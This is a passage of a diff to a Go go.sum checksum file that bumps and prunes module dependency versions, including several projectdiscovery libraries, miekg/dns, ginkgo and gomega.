h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0= -github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I= github.com/lufia/plan9stats v0.0.0-20240513124658-fba389f38bae h1:dIZY4ULFcto4tAFlj1FYZl8ztUZ13bdq+PLY+NOfbyI= github.com/lufia/plan9stats v0.0.0-20240513124658-fba389f38bae/go.mod h1:ilwx/Dta8jXAgpFYFvSWEMwxmbWXyiUHkd5FwyKhb5k= github.com/lukasbob/srcset v0.0.0-20231122134231-06e7f27b6370 h1:ra1j4xd2Shpy4TWvJFaTXIv9/j7m5EUowOh+dKQF2hU= github.com/lukasbob/srcset v0.0.0-20231122134231-06e7f27b6370/go.mod h1:j16TYl5p17+vBMyaL6Nu4ojlOnfX8lc2k2cfmw6m5TQ= github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 h1:EnfXoSqDfSNJv0VBNqY/88RNnhSGYkrHaO0mmFGbVsc= github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40/go.mod h1:vy1vK6wD6j7xX6O6hXe621WabdtNkou2h7uRtTfRMyg= -github.com/lyft/protoc-gen-validate v0.0.13/go.mod h1:XbGvPuh87YZc5TdIa2/I4pLk0QoUACkjt2znoq26NVQ= -github.com/mackerelio/go-osstat v0.2.4 h1:qxGbdPkFo65PXOb/F/nhDKpF2nGmGaCFDLXoZjJTtUs= -github.com/mackerelio/go-osstat v0.2.4/go.mod h1:Zy+qzGdZs3A9cuIqmgbJvwbmLQH9dJvtio5ZjJTbdlQ= -github.com/magefile/mage v1.15.0 h1:BvGheCMAsG3bWUDbZ8AyXXpCNwU9u5CB6sM+HNb9HYg= -github.com/magefile/mage v1.15.0/go.mod h1:z5UZb/iS3GoOSn0JgWuiw7dxlurVYTu+/jHXqQg881A= +github.com/mackerelio/go-osstat v0.2.5 h1:+MqTbZUhoIt4m8qzkVoXUJg1EuifwlAJSk4Yl2GXh+o= +github.com/mackerelio/go-osstat v0.2.5/go.mod h1:atxwWF+POUZcdtR1wnsUcQxTytoHG4uhl2AKKzrOajY= +github.com/magefile/mage v1.15.1-0.20230912152418-9f54e0f83e2a h1:tdPcGgyiH0K+SbsJBBm2oPyEIOTAvLBwD9TuUwVtZho= +github.com/magefile/mage v1.15.1-0.20230912152418-9f54e0f83e2a/go.mod h1:z5UZb/iS3GoOSn0JgWuiw7dxlurVYTu+/jHXqQg881A= github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0= github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0= github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= -github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= -github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= -github.com/mattn/go-isatty v0.0.4/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= -github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk= github.com/mattn/go-runewidth v0.0.15 h1:UNAjwbU9l54TA3KzvqLGxwWjHmMgBUVhBiTjelZgg3U= @@ -836,26 +739,17 @@ github.com/mholt/archiver v3.1.1+incompatible h1:1dCVxuqs0dJseYEhi5pl7MYPH9zDa1w github.com/mholt/archiver v3.1.1+incompatible/go.mod h1:Dh2dOXnSdiLxRiPoVfIr/fI1TwETms9B8CTWfeh7ROU= github.com/mholt/archiver/v3 v3.5.1 h1:rDjOBX9JSF5BvoJGvjqK479aL70qh9DIpZCl+k7Clwo= github.com/mholt/archiver/v3 v3.5.1/go.mod h1:e3dqJ7H78uzsRSEACH1joayhuSyhnonssnDhppzS1L4= -github.com/microcosm-cc/bluemonday v1.0.21/go.mod h1:ytNkv4RrDrLJ2pqlsSI46O6IVXmZOBBD4SaJyDwwTkM= github.com/microcosm-cc/bluemonday v1.0.26 h1:xbqSvqzQMeEHCqMi64VAs4d8uy6Mequs3rQ0k/Khz58= github.com/microcosm-cc/bluemonday v1.0.26/go.mod h1:JyzOCs9gkyQyjs+6h10UEVSe02CGwkhd72Xdqh78TWs= -github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= github.com/miekg/dns v1.1.35/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM= -github.com/miekg/dns v1.1.59 h1:C9EXc/UToRwKLhK5wKU/I4QVsBUc8kE6MkHBkeypWZs= -github.com/miekg/dns v1.1.59/go.mod h1:nZpewl5p6IvctfgrckopVx2OlSEHPRO/U4SYkRklrEk= +github.com/miekg/dns v1.1.61 h1:nLxbwF3XxhwVSm8g9Dghm9MHPaUZuqhPiGL+675ZmEs= +github.com/miekg/dns v1.1.61/go.mod h1:mnAarhS3nWaW+NVP2wTkYVIZyHNJ098SJZUki3eykwQ= github.com/minio/minio-go/v6 v6.0.46/go.mod h1:qD0lajrGW49lKZLtXKtCB4X/qkMf0a5tBvN2PaZg7Gg= github.com/minio/selfupdate v0.6.1-0.20230907112617-f11e74f84ca7 h1:yRZGarbxsRytL6EGgbqK2mCY+Lk5MWKQYKJT2gEglhc= github.com/minio/selfupdate v0.6.1-0.20230907112617-f11e74f84ca7/go.mod h1:bO02GTIPCMQFTEvE5h4DjYB58bCoZ35XLeBf0buTDdM= github.com/minio/sha256-simd v0.1.1/go.mod h1:B5e1o+1/KgNmWrSQK08Y6Z1Vb5pwIktudl0J58iy0KM= -github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= -github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y= github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= -github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI= -github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg= -github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY= -github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= -github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/moby/term v0.5.0 h1:xt8Q1nalod/v7BqbG21f8mQPqH+xAaC9C3N3wfWbVP0= @@ -878,34 +772,24 @@ github.com/muesli/termenv v0.15.2 h1:GohcuySI0QmI3wN8Ok9PtKGkgkFIk7y6Vpb5PvrY+Wo github.com/muesli/termenv v0.15.2/go.mod h1:Epx+iuz8sNs7mNKhxzH4fWXGNpZwUaJKRS1noLXviQ8= github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= -github.com/nats-io/jwt v0.3.0/go.mod h1:fRYCDE99xlTsqUzISS1Bi75UBJ6ljOJQOAAu5VglpSg= -github.com/nats-io/jwt v0.3.2/go.mod h1:/euKqTS1ZD+zzjYrY7pseZrTtWQSjujC7xjPc8wL6eU= -github.com/nats-io/nats-server/v2 v2.1.2/go.mod h1:Afk+wRZqkMQs/p45uXdrVLuab3gwv3Z8C4HTBu8GD/k= -github.com/nats-io/nats.go v1.9.1/go.mod h1:ZjDU1L/7fJ09jvUSRVBR2e7+RnLiiIQyqyzEE/Zbp4w= -github.com/nats-io/nkeys v0.1.0/go.mod h1:xpnFELMwJABBLVhffcfd1MZx6VsNRFpEugbxziKVo7w= -github.com/nats-io/nkeys v0.1.3/go.mod h1:xpnFELMwJABBLVhffcfd1MZx6VsNRFpEugbxziKVo7w= -github.com/nats-io/nuid v1.0.1/go.mod h1:19wcPz3Ph3q0Jbyiqsd0kePYG7A95tJPxeL+1OSON2c= github.com/nwaples/rardecode v1.1.0/go.mod h1:5DzqNKiOdpKKBH87u8VlvAnPZMXcGRhxWkRpHbbfGS0= github.com/nwaples/rardecode v1.1.3 h1:cWCaZwfM5H7nAD6PyEdcVnczzV8i/JtotnyW/dD9lEc= github.com/nwaples/rardecode v1.1.3/go.mod h1:5DzqNKiOdpKKBH87u8VlvAnPZMXcGRhxWkRpHbbfGS0= github.com/nxadm/tail v1.4.11 h1:8feyoE3OzPrcshW5/MJ4sGESc5cqmGkGCWlco4l0bqY= github.com/nxadm/tail v1.4.11/go.mod h1:OTaG3NK980DZzxbRq6lEuzgU+mug70nY11sMd4JXXHc= -github.com/oklog/oklog v0.3.2/go.mod h1:FCV+B7mhrz4o+ueLpx+KqkyXRGMWOYEvfiXtdGtbWGs= -github.com/oklog/run v1.0.0/go.mod h1:dlhp/R75TPv97u0XWUtDeV/lRKWPKSdTuV0TZvrmrQA= -github.com/olekukonko/tablewriter v0.0.0-20170122224234-a0225b3f23b5/go.mod h1:vsDQFd/mU46D+Z4whnwzcISnGGzXWMclvtLoiIKAKIo= github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec= github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= github.com/olljanat/grdp v0.0.0-20231207101320-9e4c98c8d159 h1:aXMzmpDffZbI5SorkdNihjum/GrYgQBBIR84vE58bHk= github.com/olljanat/grdp v0.0.0-20231207101320-9e4c98c8d159/go.mod h1:ru5UpP6hgzeLs08FF6x3N6ko6LJWjBUpavMWTJ2TPwE= github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= -github.com/onsi/ginkgo v1.16.4 h1:29JGrr5oVBm5ulCWet69zQkzWipVXIol6ygQUe/EzNc= -github.com/onsi/ginkgo v1.16.4/go.mod h1:dX+/inL/fNMqNlz0e9LfyB9TswhZpCVdJM/Z6Vvnwo0= -github.com/onsi/ginkgo/v2 v2.17.3 h1:oJcvKpIb7/8uLpDDtnQuf18xVnwKp8DTD7DQ6gTd/MU= -github.com/onsi/ginkgo/v2 v2.17.3/go.mod h1:nP2DPOQoNsQmsVyv5rDA8JkXQoCs6goXIvr/PRJ1eCc= +github.com/onsi/ginkgo v1.16.5 h1:8xi0RTUf59SOSfEtZMvwTvXYMzG4gV23XVHOZiXNtnE= +github.com/onsi/ginkgo v1.16.5/go.mod h1:+E8gABHa3K6zRBolWtd+ROzc/U5bkGt0FwiG042wbpU= +github.com/onsi/ginkgo/v2 v2.19.0 h1:9Cnnf7UHo57Hy3k6/m5k3dRfGTMXGvxhHFvkDTCTpvA= +github.com/onsi/ginkgo/v2 v2.19.0/go.mod h1:rlwLi9PilAFJ8jCg9UE1QP6VBpd6/xj3SRC0d6TU0To= github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY= -github.com/onsi/gomega v1.33.0 h1:snPCflnZrpMsy94p4lXVEkHo12lmPnc3vY5XBbreexE= -github.com/onsi/gomega v1.33.0/go.mod h1:+925n5YtiFsLzzafLUHzVMBpvvRAzrydIBiSIxjX3wY= +github.com/onsi/gomega v1.33.1 h1:dsYjIxxSR755MDmKVsaFQTE22ChNBcuuTWgkUDSubOk= +github.com/onsi/gomega v1.33.1/go.mod h1:U4R44UsT+9eLIaYRB2a5qajjtQYn0hauxvRm16AVYg0= github.com/op/go-logging v0.0.0-20160315200505-970db520ece7/go.mod h1:HzydrMdWErDVzsI23lYNej1Htcns9BCg93Dk0bBINWk= github.com/opencontainers/go-digest v1.0.0 h1:apOUWs51W5PlhuyGyz9FCeeBIOUDA/6nW8Oi/yOhh5U= github.com/opencontainers/go-digest v1.0.0/go.mod h1:0JzlMkj0TRzQZfJkVvzbP0HBR3IKzErnv2BNG4W4MAM= @@ -913,33 +797,19 @@ github.com/opencontainers/image-spec v1.1.0-rc5 h1:Ygwkfw9bpDvs+c9E34SdgGOj41dX/ github.com/opencontainers/image-spec v1.1.0-rc5/go.mod h1:X4pATf0uXsnn3g5aiGIsVnJBR4mxhKzfwmvK/B2NTm8= github.com/opencontainers/runc v1.1.12 h1:BOIssBaW1La0/qbNZHXOOa71dZfZEQOzW7dqQf3phss= github.com/opencontainers/runc v1.1.12/go.mod h1:S+lQwSfncpBha7XTy/5lBwWgm5+y5Ma/O44Ekby9FK8= -github.com/opentracing-contrib/go-observer v0.0.0-20170622124052-a52f23424492/go.mod h1:Ngi6UdF0k5OKD5t5wlmGhe/EDKPoUM3BXZSSfIuJbis= -github.com/opentracing/basictracer-go v1.0.0/go.mod h1:QfBfYuafItcjQuMwinw9GhYKwFXS9KnPs5lxoYwgW74= -github.com/opentracing/opentracing-go v1.0.2/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= -github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= -github.com/openzipkin-contrib/zipkin-go-opentracing v0.4.5/go.mod h1:/wsWhb9smxSfWAKL3wpBW7V8scJMt8N8gnaMCS9E/cA= -github.com/openzipkin/zipkin-go v0.1.6/go.mod h1:QgAqvLzwWbR/WpD4A3cGpPtJrZXNIiJc5AZX7/PBEpw= -github.com/openzipkin/zipkin-go v0.2.1/go.mod h1:NaW6tEwdmWMaCDZzg8sh+IBNOxHMPnhQw8ySjnjRyN4= -github.com/openzipkin/zipkin-go v0.2.2/go.mod h1:NaW6tEwdmWMaCDZzg8sh+IBNOxHMPnhQw8ySjnjRyN4= github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw= github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde/go.mod h1:nZgzbfBr3hhjoZnS66nKrHmduYNpc34ny7RK4z5/HM0= github.com/ory/dockertest v3.3.5+incompatible h1:iLLK6SQwIhcbrG783Dghaaa3WPzGc+4Emza6EbVUUGA= github.com/ory/dockertest/v3 v3.10.0 h1:4K3z2VMe8Woe++invjaTB7VRyQXQy5UY+loujO4aNE4= github.com/ory/dockertest/v3 v3.10.0/go.mod h1:nr57ZbRWMqfsdGdFNLHz5jjNdDb7VVFnzAeW1n5N1Lg= -github.com/pact-foundation/pact-go v1.0.4/go.mod h1:uExwJY4kCzNPcHRj+hCR/HBbOOIwwtUjcrb0b5/5kLM= -github.com/panjf2000/ants/v2 v2.9.1 h1:Q5vh5xohbsZXGcD6hhszzGqB7jSSc2/CRr3QKIga8Kw= -github.com/panjf2000/ants/v2 v2.9.1/go.mod h1:7ZxyxsqE4vvW0M7LSD8aI3cKwgFhBHbxnlN8mDqHa1I= -github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= +github.com/panjf2000/ants/v2 v2.10.0 h1:zhRg1pQUtkyRiOFo2Sbqwjp0GfBNo9cUY2/Grpx1p+8= +github.com/panjf2000/ants/v2 v2.10.0/go.mod h1:7ZxyxsqE4vvW0M7LSD8aI3cKwgFhBHbxnlN8mDqHa1I= github.com/patrickmn/go-cache v2.1.0+incompatible h1:HRMgzkcYKYpi3C8ajMPV8OFXaaRUnok+kx1WdO15EQc= github.com/patrickmn/go-cache v2.1.0+incompatible/go.mod h1:3Qf8kWWT7OJRJbdiICTKqZju1ZixQ/KpMGzzAfe6+WQ= -github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k= github.com/pelletier/go-toml/v2 v2.2.2 h1:aYUidT7k73Pcl9nb2gScu7NSrKCSHIDE89b3+6Wq+LM= github.com/pelletier/go-toml/v2 v2.2.2/go.mod h1:1t835xjRzz80PqgE6HHgN2JOsmgYu/h4qDAS4n929Rs= -github.com/performancecopilot/speed v3.0.0+incompatible/go.mod h1:/CLtqpZ5gBg1M9iaPbIdPPGyKcA8hKdoy6hAWba7Yac= github.com/perimeterx/marshmallow v1.1.5 h1:a2LALqQ1BlHM8PZblsDdidgv1mWi1DgC2UmX50IvK2s= github.com/perimeterx/marshmallow v1.1.5/go.mod h1:dsXbUu8CRzfYP5a87xpp0xq9S3u0Vchtcl8we9tYaXw= -github.com/pierrec/lz4 v1.0.2-0.20190131084431-473cd7ce01a1/go.mod h1:3/3N9NVKO0jef7pBehbT1qWhCMrIgbYNnFAZCqQ5LRc= -github.com/pierrec/lz4 v2.0.5+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY= github.com/pierrec/lz4 v2.6.1+incompatible h1:9UY3+iC23yxF0UfGaYrGplQ+79Rg+h/q9FV9ix19jjM= github.com/pierrec/lz4 v2.6.1+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY= github.com/pierrec/lz4/v4 v4.1.2/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4= @@ -954,14 +824,11 @@ github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= -github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6JUPA= github.com/pkg/sftp v1.13.6 h1:JFZT4XbOU7l77xGSpOdW+pwIMqP044IyjXX6FGyEKFo= github.com/pkg/sftp v1.13.6/go.mod h1:tz1ryNURKu77RL+GuCzmoJYxQczL3wLNNpPWagdg4Qk= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U= github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI= -github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE= github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 h1:o4JXh1EVt9k/+g42oCprj/FisM4qX9L3sZB3upGN2ZU= github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE= github.com/praetorian-inc/fingerprintx v1.1.13 h1:LArfM+onTFl9WdTy2bSEHKBq3lSTgkY+tuhpP5Ni2W8= @@ -970,36 +837,32 @@ github.com/projectdiscovery/asnmap v1.1.0 h1:ynvbLB5cNpyQ2+k9IP0Rpla+0JmCJpd3mw6 github.com/projectdiscovery/asnmap v1.1.0/go.mod h1:QNjBnGLxUBEZAgaYk/Av5cjKKWFY3i/FOfoIWCUApoY= github.com/projectdiscovery/blackrock v0.0.1 h1:lHQqhaaEFjgf5WkuItbpeCZv2DUIE45k0VbGJyft6LQ= github.com/projectdiscovery/blackrock v0.0.1/go.mod h1:ANUtjDfaVrqB453bzToU+YB4cUbvBRpLvEwoWIwlTss= -github.com/projectdiscovery/cdncheck v1.0.9 h1:BS15gzj9gb5AVSKqTDzPamfSgStu7nJQOocUvrssFlg= -github.com/projectdiscovery/cdncheck v1.0.9/go.mod h1:18SSl1w7rMj53CGeRIZTbDoa286a6xZIxGbaiEo4Fxs= +github.com/projectdiscovery/cdncheck v1.1.0 h1:qDITidmJsejzpk3rMkauCh6sjI2GH9hW/snk0cQ3kXE= +github.com/projectdiscovery/cdncheck v1.1.0/go.mod h1:sZ8U4MjHSsyaTVjBbYWHT1cwUVvUYwDX1W+WvWRicIc= github.com/projectdiscovery/clistats v0.0.20 h1:5jO5SLiRJ7f0nDV0ndBNmBeesbROouPooH+DGMgoWq4= github.com/projectdiscovery/clistats v0.0.20/go.mod h1:GJ2av0KnOvK0AISQnP8hyDclYIji1LVkx2l0pwnzAu4= -github.com/projectdiscovery/dsl v0.0.56 h1:iVFIfDdGXkrXTh5sf6hRaxqTTEYiv/LnNjoOHJIfHiY= -github.com/projectdiscovery/dsl v0.0.56/go.mod h1:3UBjPvtiy8c5E8oAUrKobMKjb3kEwQuGB5tqIN964Og= -github.com/projectdiscovery/fastdialer v0.0.71 h1:96j6Y65hDPZ9AzlYpp95hvIH5Yx/0OE2UTx+frWfnm4= -github.com/projectdiscovery/fastdialer v0.0.71/go.mod h1:b/oPPVSoLLD2N4W2/HrXbhQbyJVXqRw8CK1lenCUk64= +github.com/projectdiscovery/dsl v0.1.4 h1:tWF2xWmfwrO/UhalruDflQEBr19WBwU9My4Uke4jndQ= +github.com/projectdiscovery/dsl v0.1.4/go.mod h1:jYwRd4bRhCtWAOEsG347W4pCi9c/fKfm7vtmuFhwYtA= +github.com/projectdiscovery/fastdialer v0.1.5 h1:5rNJ8I+GVzDsUqRSVLUqGTm7LsshfNYmCh20lLn1aaI= +github.com/projectdiscovery/fastdialer v0.1.5/go.mod h1:oVoMl9Y6da2timhszy0okyBvhbKDSk+zqFazGV4y6pU= github.com/projectdiscovery/fasttemplate v0.0.2 h1:h2cISk5xDhlJEinlBQS6RRx0vOlOirB2y3Yu4PJzpiA= github.com/projectdiscovery/fasttemplate v0.0.2/go.mod h1:XYWWVMxnItd+r0GbjA1GCsUopMw1/XusuQxdyAIHMCw= github.com/projectdiscovery/freeport v0.0.5 h1:jnd3Oqsl4S8n0KuFkE5Hm8WGDP24ITBvmyw5pFTHS8Q= github.com/projectdiscovery/freeport v0.0.5/go.mod h1:PY0bxSJ34HVy67LHIeF3uIutiCSDwOqKD8ruBkdiCwE= github.com/projectdiscovery/go-smb2 v0.0.0-20240129202741-052cc450c6cb h1:rutG906Drtbpz4DwU5mhGIeOhRcktDH4cGQitGUMAsg= github.com/projectdiscovery/go-smb2 v0.0.0-20240129202741-052cc450c6cb/go.mod h1:FLjF1DmZ+POoGEiIQdWuYVwS++C/GwpX8YaCsTSm1RY= -github.com/projectdiscovery/goflags v0.1.52 h1:rVYZOtq7iA8e6ceyVZbp6OcuMhcwh5weiXSuDoXsivU= -github.com/projectdiscovery/goflags v0.1.52/go.mod h1:tcBQ0EVGP4Wafza7gx57ZktkGxyfdLn+eQWUUQrV84c= -github.com/projectdiscovery/gologger v1.1.12 h1:uX/QkQdip4PubJjjG0+uk5DtyAi1ANPJUvpmimXqv4A= -github.com/projectdiscovery/gologger v1.1.12/go.mod h1:DI8nywPLERS5mo8QEA9E7gd5HZ3Je14SjJBH3F5/kLw= +github.com/projectdiscovery/goflags v0.1.57 h1:mIL9rGo3Cykdv2AU0LlxoWD18bQ1Iyg4qRnLbPztigY= +github.com/projectdiscovery/goflags v0.1.57/go.mod h1:/5JI3q/mVHqMMS1MYj0CPkTAwDoAKn9R5syf7Mhw9vk= +github.com/projectdiscovery/gologger v1.1.13 h1:7h4yCnMk+DQ/43v+A3NuA1uuI4XlJd0W0xvTZioD05E= +github.com/projectdiscovery/gologger v1.1.13/go.mod h1:PAsVPr2aHoopCzE0BOnp2bPCv+BU/Oq81ygcP3xVwgI= 